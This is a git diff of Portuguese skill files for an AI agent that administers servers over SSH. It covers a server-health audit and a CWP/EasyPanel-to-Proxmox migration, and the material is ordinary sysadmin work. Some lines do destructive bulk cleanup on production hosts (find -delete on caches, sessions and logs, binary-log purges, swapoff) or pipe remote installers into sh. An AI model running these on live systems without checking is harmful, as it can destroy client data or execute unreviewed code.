2. ❌ Renovar SSL solarfv360.pt (12 dias restantes)
|
||||
3. ❌ Corrigir sites com HTTP 500 (3 sites)
|
||||
|
||||
### 🟡 IMPORTANTE (Esta Semana)
|
||||
4. ⚠️ Optimizar queries lentas MySQL (145 total)
|
||||
5. ⚠️ Limpar BDs grandes (ealmeida_desk24 1.2GB)
|
||||
6. ⚠️ Fechar porta MySQL 3306 ao público
|
||||
|
||||
### 🟢 MELHORIAS (Mês)
|
||||
7. ✅ Configurar alertas automáticos para Swap >20%
|
||||
8. ✅ Criar backup automático de certificados SSL
|
||||
9. ✅ Actualizar PHP para 8.2 (actualmente 8.1)
|
||||
|
||||
---
|
||||
|
||||
## 🔧 Troubleshooting Sugerido
|
||||
|
||||
### Swap Alto (>30%)
|
||||
```bash
|
||||
# Ver o que está a usar memória
|
||||
ps aux --sort=-%mem | head -10
|
||||
|
||||
# Limpar swap (CUIDADO!)
|
||||
swapoff -a && swapon -a
|
||||
```
|
||||
|
||||
### Load Alto (>5)
|
||||
```bash
|
||||
# Ver processos por CPU
|
||||
ps aux --sort=-%cpu | head -10
|
||||
|
||||
# Ver I/O wait
|
||||
iostat -x 1 5
|
||||
|
||||
# Identificar processo problemático
|
||||
top -bn1 | head -20
|
||||
```
|
||||
|
||||
### MySQL Lento
|
||||
```bash
|
||||
# Ver queries activas
|
||||
mysqladmin processlist
|
||||
|
||||
# Ver slow query log
|
||||
tail -50 /var/log/mysql/slow.log
|
||||
|
||||
# Optimizar tabelas
|
||||
mysqlcheck --optimize --all-databases
|
||||
```
|
||||
|
||||
### Sites WordPress com Erro
|
||||
```bash
|
||||
# Ver error log
|
||||
tail -100 /home/USER/logs/error.log
|
||||
|
||||
# Verificar permissões
|
||||
ls -lh /home/USER/public_html/wp-content
|
||||
|
||||
# Corrigir permissões
|
||||
chown -R USER:USER /home/USER/public_html/wp-content
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
*Gerado via /server-health v2.0 | Descomplicar®*
|
||||
```
|
||||
|
||||
**Instruções de Implementação:**
|
||||
1. Executar comandos em paralelo quando possível (mcp__ssh-unified__ssh_execute)
|
||||
2. Calcular health score: (checks OK / total checks) × 100
|
||||
3. Gerar alertas baseados em thresholds
|
||||
4. Agrupar recomendações por urgência
|
||||
5. Incluir troubleshooting específico para cada problema detectado
|
||||
|
||||
---
|
||||
|
||||
## Thresholds de Alertas
|
||||
|
||||
| Métrica | ✅ OK | ⚠️ Warning | ❌ Critical |
|
||||
|---------|-------|------------|-------------|
|
||||
| Metrica | OK | Warning | Critical |
|
||||
|---------|-----|---------|----------|
|
||||
| **Load (1m)** | <2 | 2-5 | >5 |
|
||||
| **RAM** | <70% | 70-85% | >85% |
|
||||
| **Swap** | <10% | 10-30% | >30% |
|
||||
@@ -483,197 +108,56 @@ chown -R USER:USER /home/USER/public_html/wp-content
|
||||
|
||||
---
|
||||
|
||||
## Comandos SSH Específicos
|
||||
## Template de output
|
||||
|
||||
### Verificação Rápida (Quick Mode)
|
||||
```bash
|
||||
# Uma linha com todas as métricas críticas
|
||||
echo "=== QUICK HEALTH ===" && \
|
||||
uptime && \
|
||||
free -h | grep Mem && \
|
||||
df -h | grep -E '^/dev/vda|Filesystem' && \
|
||||
mysqladmin status 2>&1 | head -1 && \
|
||||
systemctl is-active httpd nginx mysql
|
||||
```
|
||||
Ver template completo em `references/commands.md` (seccao Template de Output).
|
||||
|
||||
### MySQL Deep Dive
|
||||
```bash
|
||||
# Optimizar todas as BDs
|
||||
mysqlcheck --optimize --all-databases
|
||||
|
||||
# Limpar logs binários antigos (>7 dias)
|
||||
mysql -e "PURGE BINARY LOGS BEFORE DATE_SUB(NOW(), INTERVAL 7 DAY);"
|
||||
|
||||
# Verificar fragmentação de tabelas
|
||||
mysql -e "SELECT table_schema, table_name,
|
||||
ROUND(data_length/1024/1024,2) as data_mb,
|
||||
ROUND(data_free/1024/1024,2) as free_mb
|
||||
FROM information_schema.TABLES
|
||||
WHERE data_free > 0
|
||||
ORDER BY data_free DESC
|
||||
LIMIT 10;"
|
||||
```
|
||||
|
||||
### Limpeza de Cache/Temp
|
||||
```bash
|
||||
# Limpar cache WordPress (todos os sites)
|
||||
find /home/*/public_html/wp-content/cache -type f -delete
|
||||
|
||||
# Limpar sessions PHP antigas
|
||||
find /var/lib/php/session -type f -mtime +7 -delete
|
||||
|
||||
# Limpar logs Apache/Nginx >30 dias
|
||||
find /home/*/logs -name "*.log" -mtime +30 -delete
|
||||
```
|
||||
Inclui:
|
||||
- Resumo executivo com tabela de metricas e health score
|
||||
- Alertas criticos e warnings
|
||||
- Detalhes por seccao (sistema, MySQL, web, PHP, SSL, seguranca, sites WP)
|
||||
- Recomendacoes priorizadas (urgente, importante, melhorias)
|
||||
|
||||
---
|
||||
|
||||
## Integração com MCPs
|
||||
## Instrucoes de implementacao
|
||||
|
||||
```javascript
|
||||
// Executar diagnóstico completo
|
||||
async function serverHealthCheck() {
|
||||
// 1. Sistema (paralelo)
|
||||
const systemChecks = await Promise.all([
|
||||
mcp__ssh-unified__ssh_execute({server: "server", command: "uptime"}),
|
||||
mcp__ssh-unified__ssh_execute({server: "server", command: "free -h"}),
|
||||
mcp__ssh-unified__ssh_execute({server: "server", command: "df -h"}),
|
||||
mcp__ssh-unified__ssh_execute({server: "server", command: "top -bn1 | head -20"})
|
||||
]);
|
||||
|
||||
// 2. MySQL
|
||||
const mysqlStatus = await mcp__ssh-unified__ssh_execute({
|
||||
server: "server",
|
||||
command: "mysqladmin status && mysql -e \"SHOW GLOBAL STATUS LIKE 'Threads%';\""
|
||||
});
|
||||
|
||||
// 3. SSL
|
||||
const sslCheck = await mcp__ssh-unified__ssh_execute({
|
||||
server: "server",
|
||||
command: "for d in $(ls /root/.acme.sh/cwp_certs/); do echo \"=== $d ===\"; grep Le_NextRenewTimeStr /root/.acme.sh/cwp_certs/$d/*.conf 2>/dev/null; done"
|
||||
});
|
||||
|
||||
// Processar e gerar report
|
||||
return processHealthData(systemChecks, mysqlStatus, sslCheck);
|
||||
}
|
||||
```
|
||||
1. Executar comandos em paralelo quando possivel (mcp__ssh-unified__ssh_execute)
|
||||
2. Calcular health score: (checks OK / total checks) x 100
|
||||
3. Gerar alertas baseados em thresholds
|
||||
4. Agrupar recomendacoes por urgencia
|
||||
5. Incluir troubleshooting especifico para cada problema detectado
|
||||
|
||||
---
|
||||
|
||||
## Anti-Patterns
|
||||
## Anti-patterns
|
||||
|
||||
| Anti-Pattern | Problema | Solução Correcta |
|
||||
|--------------|----------|------------------|
|
||||
| Assumir SSH como root | Pode falhar | Verificar permissões primeiro |
|
||||
| Executar comandos sequenciais | Lento | Paralelo quando possível |
|
||||
| Anti-pattern | Problema | Solucao |
|
||||
|--------------|----------|---------|
|
||||
| Assumir SSH como root | Pode falhar | Verificar permissoes primeiro |
|
||||
| Executar comandos sequenciais | Lento | Paralelo quando possivel |
|
||||
| Ignorar exit codes | Falhas silenciosas | Validar cada comando |
|
||||
| Não limpar recursos temp | Consume espaço | Limpeza em cada audit |
|
||||
| Não documentar problemas | Sem histórico | Gravar em Desk/Obsidian |
|
||||
| Nao limpar recursos temp | Consume espaco | Limpeza em cada audit |
|
||||
| Nao documentar problemas | Sem historico | Gravar em Desk/Obsidian |
|
||||
|
||||
---
|
||||
|
||||
## Checklist de Execução
|
||||
## Checklist de execucao
|
||||
|
||||
- [ ] SSH conecta (testar `whoami`)
|
||||
- [ ] Todas as métricas recolhidas (sistema, mysql, web, ssl)
|
||||
- [ ] Todas as metricas recolhidas (sistema, mysql, web, ssl)
|
||||
- [ ] Thresholds aplicados (calcular status)
|
||||
- [ ] Health score calculado
|
||||
- [ ] Alertas gerados (crítico/warning)
|
||||
- [ ] Recomendações priorizadas
|
||||
- [ ] Troubleshooting incluído
|
||||
- [ ] Alertas gerados (critico/warning)
|
||||
- [ ] Recomendacoes priorizadas
|
||||
- [ ] Troubleshooting incluido
|
||||
- [ ] Report formatado (Markdown)
|
||||
- [ ] Opcional: Gravar em Desk ou Obsidian
|
||||
- [ ] Opcional: gravar em Desk ou Obsidian
|
||||
|
||||
---
|
||||
|
||||
## Datasets Dify (Consulta Obrigatória)
|
||||
## Ficheiros de referencia
|
||||
|
||||
Antes de executar diagnóstico complexo ou para troubleshooting específico:
|
||||
|
||||
| Dataset | ID | Uso |
|
||||
|---------|----|----|
|
||||
| **TI (Tecnologia da Informação)** | `7f63ec0c-6321-488c-b107-980140199850` | Diagnósticos gerais |
|
||||
| **Linux** | `bde4eddd-4618-402c-8bfb-bb947ed9219d` | Comandos específicos |
|
||||
| **CWP Centos Web Panel** | `b2a4d2c5-fe55-412c-bc28-74dbd611905d` | Configurações CWP |
|
||||
|
||||
**Consultar quando:**
|
||||
- Problema não coberto por este guia
|
||||
- Optimização específica de serviço
|
||||
- Troubleshooting de erro desconhecido
|
||||
- Configuração avançada CWP/MySQL/Nginx
|
||||
|
||||
```javascript
|
||||
// Exemplo: pesquisar optimização MySQL
|
||||
mcp__notebooklm__notebook_query, mcp__dify-kb__dify_kb_retrieve_segments({
|
||||
dataset_id: "7f63ec0c-6321-488c-b107-980140199850",
|
||||
query: "mysql slow query optimization innodb tuning",
|
||||
top_k: 3
|
||||
})
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Changelog
|
||||
|
||||
### v2.0.0 (2026-02-03)
|
||||
- **ENHANCED:** Workflows detalhados para cada passo
|
||||
- Modos de execução (quick, mysql, ssl, sites)
|
||||
- Template de output completo com troubleshooting
|
||||
- Thresholds documentados
|
||||
- Comandos SSH específicos
|
||||
- Health score calculation
|
||||
- Integração MCPs documentada
|
||||
- Anti-patterns identificados
|
||||
- Checklist de execução
|
||||
|
||||
### v1.0.0 (2026-01-30)
|
||||
- Versão inicial
|
||||
- Diagnóstico: Sistema, MySQL, Web, PHP, SSL, Segurança
|
||||
- Thresholds definidos
|
||||
- Output template markdown
|
||||
|
||||
---
|
||||
|
||||
**Versão:** 2.0.0 | **Autor:** Descomplicar®
|
||||
**Última actualização:** 2026-02-03 (Workflows completos + Troubleshooting)
|
||||
|
||||
---
|
||||
|
||||
|
||||
## Quando NÃO Usar
|
||||
|
||||
- Para tarefas fora do domínio de especialização desta skill
|
||||
- Quando outra skill mais específica está disponível
|
||||
- Para operações que requerem aprovação manual obrigatória
|
||||
- Quando os requisitos não estão claramente definidos
|
||||
|
||||
|
||||
## Exemplos de Uso
|
||||
|
||||
### Exemplo 1: Caso Básico
|
||||
```
|
||||
User: [requisição simples relacionada com server-health]
|
||||
Skill: [execução directa com validação]
|
||||
Output: [resultado conciso e accionável]
|
||||
```
|
||||
|
||||
### Exemplo 2: Caso Complexo
|
||||
```
|
||||
User: [requisição multi-passo ou complexa]
|
||||
Skill:
|
||||
1. Análise dos requisitos
|
||||
2. Planeamento da abordagem
|
||||
3. Execução faseada
|
||||
4. Validação contínua
|
||||
Output: [resultado detalhado com próximos passos]
|
||||
```
|
||||
|
||||
### Exemplo 3: Caso com Dependências
|
||||
```
|
||||
User: [requisição que depende de outros sistemas]
|
||||
Skill:
|
||||
1. Verificar dependências disponíveis
|
||||
2. Coordenar com skills/MCPs necessários
|
||||
3. Executar workflow integrado
|
||||
Output: [resultado completo com referências]
|
||||
```
|
||||
| Ficheiro | Conteudo |
|
||||
|----------|----------|
|
||||
| [references/commands.md](references/commands.md) | Comandos SSH por passo, queries MySQL, quick mode, deep dive, limpeza cache, template output, troubleshooting |
|
||||
|
||||
232
infraestrutura/skills/server-health/references/commands.md
Normal file
232
infraestrutura/skills/server-health/references/commands.md
Normal file
@@ -0,0 +1,232 @@
|
||||
# /server-health - Comandos SSH e Template de Output
|
||||
|
||||
## Comandos por Passo
|
||||
|
||||
### Passo 1: Sistema
|
||||
|
||||
```bash
|
||||
uptime
|
||||
free -h
|
||||
df -h
|
||||
top -bn1 | head -20
|
||||
cat /proc/loadavg
|
||||
vmstat 1 3
|
||||
ps aux | grep -E 'httpd|mysql|nginx' | grep -v grep
|
||||
```
|
||||
|
||||
**Validação:**
|
||||
- Load 1min <2: OK | 2-5: Warning | >5: Critical
|
||||
- RAM <70%: OK | Swap >10%: Investigar
|
||||
|
||||
### Passo 2: MySQL
|
||||
|
||||
```bash
|
||||
mysqladmin status
|
||||
mysqladmin processlist | head -20
|
||||
mysql -e "SHOW GLOBAL STATUS LIKE 'Threads%';"
|
||||
mysql -e "SHOW GLOBAL STATUS LIKE 'Slow_queries';"
|
||||
mysql -e "SELECT table_schema, ROUND(SUM(data_length + index_length) / 1024 / 1024, 2) AS 'Size (MB)' FROM information_schema.TABLES GROUP BY table_schema ORDER BY SUM(data_length + index_length) DESC LIMIT 10;"
|
||||
mysqlcheck --all-databases --check
|
||||
```
|
||||
|
||||
**Queries Críticas:**
|
||||
```sql
|
||||
-- Ver queries lentas em execução
|
||||
SELECT id, user, host, db, command, time, state, LEFT(info, 100) as query
|
||||
FROM information_schema.PROCESSLIST
|
||||
WHERE command != 'Sleep' AND time > 5
|
||||
ORDER BY time DESC;
|
||||
|
||||
-- BDs maiores que 500MB
|
||||
SELECT table_schema, ROUND(SUM(data_length + index_length) / 1024 / 1024, 2) AS size_mb
|
||||
FROM information_schema.TABLES
|
||||
GROUP BY table_schema
|
||||
HAVING size_mb > 500
|
||||
ORDER BY size_mb DESC;
|
||||
```
|
||||
|
||||
### Passo 3: Web Servers
|
||||
|
||||
```bash
|
||||
systemctl status httpd --no-pager | head -15
|
||||
systemctl status nginx --no-pager | head -15
|
||||
curl -sI localhost | head -10
|
||||
curl -sI -H 'Accept-Encoding: gzip' localhost | grep -i encoding
|
||||
netstat -an | grep :80 | wc -l
|
||||
netstat -an | grep :443 | wc -l
|
||||
httpd -S 2>&1 | grep -E 'port|namevhost' | head -20
|
||||
```
|
||||
|
||||
### Passo 4: PHP
|
||||
|
||||
```bash
|
||||
php -v | head -1
|
||||
php -i | grep memory_limit
|
||||
php -i | grep -E 'opcache.enable|opcache.memory_consumption'
|
||||
ps aux | grep php-fpm | wc -l
|
||||
```
|
||||
|
||||
### Passo 5: SSL/Certificados
|
||||
|
||||
```bash
|
||||
ls -lh /root/.acme.sh/cwp_certs/
|
||||
|
||||
for d in $(ls /root/.acme.sh/cwp_certs/); do
|
||||
echo "=== $d ==="
|
||||
grep -E 'Le_NextRenewTimeStr|Le_Alt' /root/.acme.sh/cwp_certs/$d/*.conf 2>/dev/null | head -3
|
||||
done
|
||||
|
||||
echo | openssl s_client -connect DOMINIO:443 2>/dev/null | openssl x509 -noout -dates -subject
|
||||
tail -100 /root/.acme.sh/acme.sh.log | grep -E 'Renew|error|success'
|
||||
```
|
||||
|
||||
**Validação SSL:**
|
||||
- Renovação >30 dias: OK | 15-30 dias: Avisar | <15 dias: Urgente
|
||||
|
||||
### Passo 6: Segurança
|
||||
|
||||
```bash
|
||||
systemctl status fail2ban --no-pager 2>/dev/null
|
||||
fail2ban-client status 2>/dev/null | head -10
|
||||
fail2ban-client status sshd 2>/dev/null | grep "Banned IP"
|
||||
netstat -tlnp | grep LISTEN | head -20
|
||||
last -10
|
||||
grep "Failed password" /var/log/secure | tail -20
|
||||
systemctl status firewalld --no-pager || iptables -L -n | head -20
|
||||
```
|
||||
|
||||
### Passo 7: Sites WordPress
|
||||
|
||||
```bash
|
||||
for dir in /home/*/public_html; do
|
||||
if [ -f "$dir/wp-config.php" ]; then
|
||||
domain=$(basename $(dirname $dir))
|
||||
echo "=== $domain ==="
|
||||
grep "wp_version = " $dir/wp-includes/version.php | head -1
|
||||
du -sh $dir/wp-content
|
||||
curl -sI "http://$domain" | head -3
|
||||
fi
|
||||
done
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Verificação Rápida (Quick Mode)
|
||||
|
||||
```bash
|
||||
echo "=== QUICK HEALTH ===" && \
|
||||
uptime && \
|
||||
free -h | grep Mem && \
|
||||
df -h | grep -E '^/dev/vda|Filesystem' && \
|
||||
mysqladmin status 2>&1 | head -1 && \
|
||||
systemctl is-active httpd nginx mysql
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## MySQL Deep Dive
|
||||
|
||||
```bash
|
||||
# Optimizar todas as BDs
|
||||
mysqlcheck --optimize --all-databases
|
||||
|
||||
# Limpar logs binários antigos (>7 dias)
|
||||
mysql -e "PURGE BINARY LOGS BEFORE DATE_SUB(NOW(), INTERVAL 7 DAY);"
|
||||
|
||||
# Verificar fragmentação
|
||||
mysql -e "SELECT table_schema, table_name,
|
||||
ROUND(data_length/1024/1024,2) as data_mb,
|
||||
ROUND(data_free/1024/1024,2) as free_mb
|
||||
FROM information_schema.TABLES
|
||||
WHERE data_free > 0
|
||||
ORDER BY data_free DESC LIMIT 10;"
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Limpeza de Cache/Temp
|
||||
|
||||
```bash
|
||||
# Limpar cache WordPress
|
||||
find /home/*/public_html/wp-content/cache -type f -delete
|
||||
|
||||
# Limpar sessions PHP antigas
|
||||
find /var/lib/php/session -type f -mtime +7 -delete
|
||||
|
||||
# Limpar logs Apache/Nginx >30 dias
|
||||
find /home/*/logs -name "*.log" -mtime +30 -delete
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Template de Output
|
||||
|
||||
```markdown
|
||||
# Server Health Report - YYYY-MM-DD HH:MM
|
||||
|
||||
## Resumo Executivo
|
||||
|
||||
| Métrica | Valor | Status | Limite |
|
||||
|---------|-------|--------|--------|
|
||||
| Load (1m) | X.XX | OK/Warn/Crit | <2 |
|
||||
| RAM Usada | XX% | OK/Warn/Crit | <70% |
|
||||
| Swap Usado | XX% | OK/Warn/Crit | <10% |
|
||||
| Disco / | XX% | OK/Warn/Crit | <70% |
|
||||
| MySQL Threads | XX | OK/Warn/Crit | <50 |
|
||||
| Sites WP OK | XX/YY | OK/Warn/Crit | 100% |
|
||||
| SSL Expiring | XX | OK/Warn/Crit | 0 |
|
||||
|
||||
**Health Score:** XX/100
|
||||
|
||||
---
|
||||
|
||||
## Alertas Críticos
|
||||
|
||||
> CRÍTICO: Load >5 há 10 minutos
|
||||
> ATENÇÃO: Certificado SSL solarfv360.pt expira em 12 dias
|
||||
|
||||
---
|
||||
|
||||
## Recomendações Prioritárias
|
||||
|
||||
### URGENTE (Hoje)
|
||||
1. Reduzir uso de Swap (45%)
|
||||
2. Renovar SSL solarfv360.pt
|
||||
|
||||
### IMPORTANTE (Esta Semana)
|
||||
3. Optimizar queries lentas MySQL
|
||||
|
||||
### MELHORIAS (Mês)
|
||||
4. Configurar alertas automáticos
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Troubleshooting
|
||||
|
||||
### Swap Alto (>30%)
|
||||
```bash
|
||||
ps aux --sort=-%mem | head -10
|
||||
swapoff -a && swapon -a
|
||||
```
|
||||
|
||||
### Load Alto (>5)
|
||||
```bash
|
||||
ps aux --sort=-%cpu | head -10
|
||||
iostat -x 1 5
|
||||
top -bn1 | head -20
|
||||
```
|
||||
|
||||
### MySQL Lento
|
||||
```bash
|
||||
mysqladmin processlist
|
||||
tail -50 /var/log/mysql/slow.log
|
||||
mysqlcheck --optimize --all-databases
|
||||
```
|
||||
|
||||
### Sites WordPress com Erro
|
||||
```bash
|
||||
tail -100 /home/USER/logs/error.log
|
||||
ls -lh /home/USER/public_html/wp-content
|
||||
chown -R USER:USER /home/USER/public_html/wp-content
|
||||
```
|
||||
@@ -1,30 +1,24 @@
|
||||
---
|
||||
name: vm-migration
|
||||
description: Migração zero-downtime de workloads CWP/EasyPanel para Proxmox VMs seguindo Migration-Plan-OptionA. Use when user mentions "migrate to proxmox", "cwp migration", "easypanel migration", "workload migration".
|
||||
author: Descomplicar® Crescimento Digital
|
||||
version: 1.0.0
|
||||
quality_score: 75
|
||||
user_invocable: true
|
||||
desk_task: 1712
|
||||
allowed-tools: Task, Read, Bash
|
||||
dependencies:
|
||||
- ssh-unified
|
||||
- notebooklm
|
||||
- proxmox-setup
|
||||
- pbs-config
|
||||
description: Migracao zero-downtime de workloads CWP e EasyPanel para VMs Proxmox com safety nets e rollback procedures.
|
||||
---
|
||||
|
||||
# VM Migration
|
||||
|
||||
Migração zero-downtime de workloads CWP e EasyPanel para Proxmox VMs seguindo Migration-Plan-OptionA com safety nets e rollback procedures.
|
||||
Migracao zero-downtime de workloads CWP e EasyPanel para Proxmox VMs seguindo Migration-Plan-OptionA com safety nets e rollback procedures.
|
||||
|
||||
## Quando Usar
|
||||
|
||||
- Migrar servidores CWP para VMs Proxmox
|
||||
- Migrar containers EasyPanel para VMs Proxmox
|
||||
- Executar Migration-Plan-OptionA (3 fases)
|
||||
- Migração phased com validation periods
|
||||
- Zero-downtime para clientes production
|
||||
- Migracao phased com validation periods
|
||||
|
||||
## Quando Nao Usar
|
||||
|
||||
- Migracoes non-CWP/EasyPanel (criar plan especifico)
|
||||
- Ambientes teste/dev (menos rigor)
|
||||
- Single-server setups (nao cluster)
|
||||
|
||||
## Sintaxe
|
||||
|
||||
@@ -41,74 +35,70 @@ Migração zero-downtime de workloads CWP e EasyPanel para Proxmox VMs seguindo
|
||||
# Fase 2: CWP migration com 7 dias validation
|
||||
/vm-migration cwp server.descomplicar.pt --phase 2 --validate-days 7
|
||||
|
||||
# Fase 3: Apenas confirmar (sem migração)
|
||||
# Fase 3: Apenas confirmar (sem migracao)
|
||||
/vm-migration finalize --phase 3
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Knowledge Sources (Consultar SEMPRE)
|
||||
|
||||
### NotebookLM Proxmox Research
|
||||
```bash
|
||||
mcp__notebooklm__notebook_query \
|
||||
notebook_id:"276ccdde-6b95-42a3-ad96-4e64d64c8d52" \
|
||||
query:"proxmox migration cwp easypanel docker lxc zero downtime"
|
||||
```
|
||||
|
||||
### Hub Docs
|
||||
- Hub/05-Projectos/Cluster Descomplicar/Planning/Migration-Plan-OptionA.md
|
||||
- Fase 1: EasyPanel (Week 1-2)
|
||||
- Fase 2: CWP (Week 3-6, 7 dias validation)
|
||||
- Fase 3: Cluster + cleanup (Week 7-8)
|
||||
Hub Docs: `Hub/05-Projectos/Cluster Descomplicar/Planning/Migration-Plan-OptionA.md`
|
||||
|
||||
---
|
||||
|
||||
## Migration-Plan-OptionA Overview
|
||||
|
||||
**Timeline:** 8 semanas
|
||||
**Strategy:** Phased migration com safety nets
|
||||
**Rollback:** Disponível em cada fase
|
||||
**Timeline:** 8 semanas | **Strategy:** Phased migration com safety nets | **Rollback:** Disponivel em cada fase
|
||||
|
||||
```
|
||||
Week 1-2: FASE 1 - EasyPanel Migration
|
||||
├── Backup EasyPanel → PBS
|
||||
├── Create Docker VM Proxmox
|
||||
├── Migrate containers (batch 5-10)
|
||||
├── DNS cutover gradual
|
||||
└── Validation + Rollback window
|
||||
+-- Backup EasyPanel -> PBS
|
||||
+-- Create Docker VM Proxmox
|
||||
+-- Migrate containers (batch 5-10)
|
||||
+-- DNS cutover gradual
|
||||
+-- Validation + Rollback window
|
||||
|
||||
Week 3-6: FASE 2 - CWP Migration
|
||||
├── 7 dias safety net (server intacto)
|
||||
├── Create AlmaLinux 8 VM
|
||||
├── Migrate CWP accounts (batch)
|
||||
├── Validate sites + email
|
||||
├── DNS cutover (TTL 300s)
|
||||
└── Rollback até Day 7
|
||||
+-- 7 dias safety net (server intacto)
|
||||
+-- Create AlmaLinux 8 VM
|
||||
+-- Migrate CWP accounts (batch)
|
||||
+-- Validate sites + email
|
||||
+-- DNS cutover (TTL 300s)
|
||||
+-- Rollback ate Day 7
|
||||
|
||||
Week 7-8: FASE 3 - Cluster Formation
|
||||
├── Prepare server.descomplicar.pt as Node A
|
||||
├── Form cluster (pvecm)
|
||||
├── Configure HA groups
|
||||
├── Live migration tests
|
||||
└── Cleanup legacy servers
|
||||
+-- Prepare server.descomplicar.pt as Node A
|
||||
+-- Form cluster (pvecm)
|
||||
+-- Configure HA groups
|
||||
+-- Live migration tests
|
||||
+-- Cleanup legacy servers
|
||||
```
|
||||
|
||||
## Workflow Completo
|
||||
---
|
||||
|
||||
### PRE-MIGRATION (Todas Fases)
|
||||
## Workflow Pre-Migration (Todas Fases)
|
||||
|
||||
### 1. Backup Strategy Validation
|
||||
|
||||
**1. Backup Strategy Validation**
|
||||
```bash
|
||||
# Verificar PBS configurado
|
||||
pvesm status | grep pbs
|
||||
|
||||
# Criar backup point actual
|
||||
vzdump --storage pbs-main --all 1 --mode snapshot
|
||||
|
||||
# Verificar 3-2-1 compliance:
|
||||
# - Original: source server
|
||||
# - Backup 1: PBS Node B
|
||||
# - Backup 2: PBS Node A remote sync (ou VPS backup)
|
||||
```
|
||||
|
||||
**2. Documentar Estado Actual**
|
||||
Garantir 3-2-1 compliance: original + PBS Node B + PBS Node A remote sync.
|
||||
|
||||
### 2. Documentar Estado Actual
|
||||
|
||||
```bash
|
||||
# CWP: Listar contas
|
||||
/scripts/list_accounts > /tmp/cwp-accounts.txt
|
||||
@@ -117,455 +107,51 @@ vzdump --storage pbs-main --all 1 --mode snapshot
|
||||
curl -s http://localhost:3000/api/trpc/projects.list | jq > /tmp/easypanel-services.json
|
||||
|
||||
# DNS TTLs (baixar para 300s ANTES de migration)
|
||||
# Verificar em: dns.descomplicar.pt ou Cloudflare
|
||||
```
|
||||
|
||||
**3. Comunicar Clientes (se downtime esperado)**
|
||||
### 3. Comunicar Clientes (se downtime esperado)
|
||||
|
||||
- Email 48h antes
|
||||
- Status page update
|
||||
- Janela de manutenção agendada
|
||||
- Janela de manutencao agendada
|
||||
|
||||
---
|
||||
|
||||
### FASE 1: EasyPanel Migration (Week 1-2)
|
||||
## Fases Detalhadas
|
||||
|
||||
**Target:** Migrar 108 containers Docker para VM Proxmox
|
||||
|
||||
**1.1 Criar VM Docker Host**
|
||||
```bash
|
||||
# Via Proxmox CLI
|
||||
qm create 200 \
|
||||
--name easypanel-docker \
|
||||
--memory 32768 \
|
||||
--cores 8 \
|
||||
--net0 virtio,bridge=vmbr0 \
|
||||
--scsi0 rpool/vm-disks:200 \
|
||||
--ostype l26 \
|
||||
--boot order=scsi0
|
||||
|
||||
# Install Ubuntu 24.04 LTS
|
||||
# Via Cloud-Init ou ISO manual
|
||||
```
|
||||
|
||||
**1.2 Instalar Docker + EasyPanel**
|
||||
```bash
|
||||
# SSH to VM
|
||||
ssh root@10.10.10.200
|
||||
|
||||
# Docker
|
||||
curl -fsSL https://get.docker.com | sh
|
||||
|
||||
# EasyPanel
|
||||
curl -sSL https://get.easypanel.io | sh
|
||||
```
|
||||
|
||||
**1.3 Backup Containers Actuais**
|
||||
```bash
|
||||
# Em easy.descomplicar.pt
|
||||
# Backup docker volumes
|
||||
tar -czf /tmp/easypanel-volumes.tar.gz /var/lib/easypanel/projects
|
||||
|
||||
# Transfer para PBS ou storage temporário
|
||||
scp /tmp/easypanel-volumes.tar.gz root@cluster.descomplicar.pt:/mnt/migration/
|
||||
```
|
||||
|
||||
**1.4 Migrar Containers (Batch 5-10)**
|
||||
|
||||
**Batch 1 (não-críticos para teste):**
|
||||
```bash
|
||||
# Containers teste: dev environments, staging
|
||||
# IDs: 1-5
|
||||
|
||||
# Por cada container:
|
||||
1. Exportar env vars do EasyPanel
|
||||
2. Exportar docker-compose.yml
|
||||
3. Copiar volumes
|
||||
4. Recriar em novo EasyPanel
|
||||
5. Testar health endpoint
|
||||
6. DNS cutover se OK
|
||||
```
|
||||
|
||||
**Workflow Batch:**
|
||||
```bash
|
||||
# Script semi-automatizado
|
||||
for container_id in 1 2 3 4 5; do
|
||||
# Export config
|
||||
curl -s http://easy.descomplicar.pt:3000/api/trpc/services.get \
|
||||
-d "serviceId=$container_id" > config_$container_id.json
|
||||
|
||||
# Copiar volumes
|
||||
rsync -avz /var/lib/easypanel/projects/$container_id/ \
|
||||
root@10.10.10.200:/var/lib/easypanel/projects/$container_id/
|
||||
|
||||
# Recriar service (via EasyPanel API ou UI)
|
||||
|
||||
# Test
|
||||
curl -I http://10.10.10.200:PORT/health
|
||||
|
||||
# DNS cutover (se health OK)
|
||||
# Actualizar DNS para apontar para 10.10.10.200 (via NAT port forward)
|
||||
done
|
||||
```
|
||||
|
||||
**1.5 Validation (24-48h por batch)**
|
||||
```bash
|
||||
# Monitoring:
|
||||
- Uptime checks (UptimeRobot ou similar)
|
||||
- Error rates (logs)
|
||||
- Performance (response time <500ms)
|
||||
- Cliente feedback
|
||||
|
||||
# Rollback triggers:
|
||||
- >2 containers falham consecutivamente
|
||||
- Cliente reporta down
|
||||
- Health checks fail >10min
|
||||
```
|
||||
|
||||
**1.6 DNS Cutover**
|
||||
```bash
|
||||
# Baixar TTL para 300s (5min) 24h ANTES
|
||||
# Ex: Cloudflare ou dns.descomplicar.pt
|
||||
|
||||
# Cutover:
|
||||
A record: old-ip → NAT port forward para 10.10.10.200:PORT
|
||||
|
||||
# Monitorizar por 1h
|
||||
# Reverter se problemas
|
||||
```
|
||||
|
||||
**1.7 Rollback Procedure (se necessário)**
|
||||
```bash
|
||||
# Reverter DNS (TTL 300s = 5min propagação)
|
||||
# Reactivar container antigo
|
||||
# Investigar causa falha
|
||||
# Re-tentar após fix
|
||||
```
|
||||
|
||||
**Batch 2-N:** Repetir até 108 containers migrados.
|
||||
| Fase | Detalhes | Referencia |
|
||||
|------|----------|------------|
|
||||
| Fase 1: EasyPanel (Week 1-2) | 108 containers Docker -> VM Proxmox | [references/fase1-easypanel.md](references/fase1-easypanel.md) |
|
||||
| Fase 2: CWP (Week 3-6) | 39 vhosts CWP -> VM AlmaLinux 8 | [references/fase2-cwp.md](references/fase2-cwp.md) |
|
||||
| Fase 3: Cluster (Week 7-8) | 2-node cluster, HA, cleanup | [references/fase3-cluster.md](references/fase3-cluster.md) |
|
||||
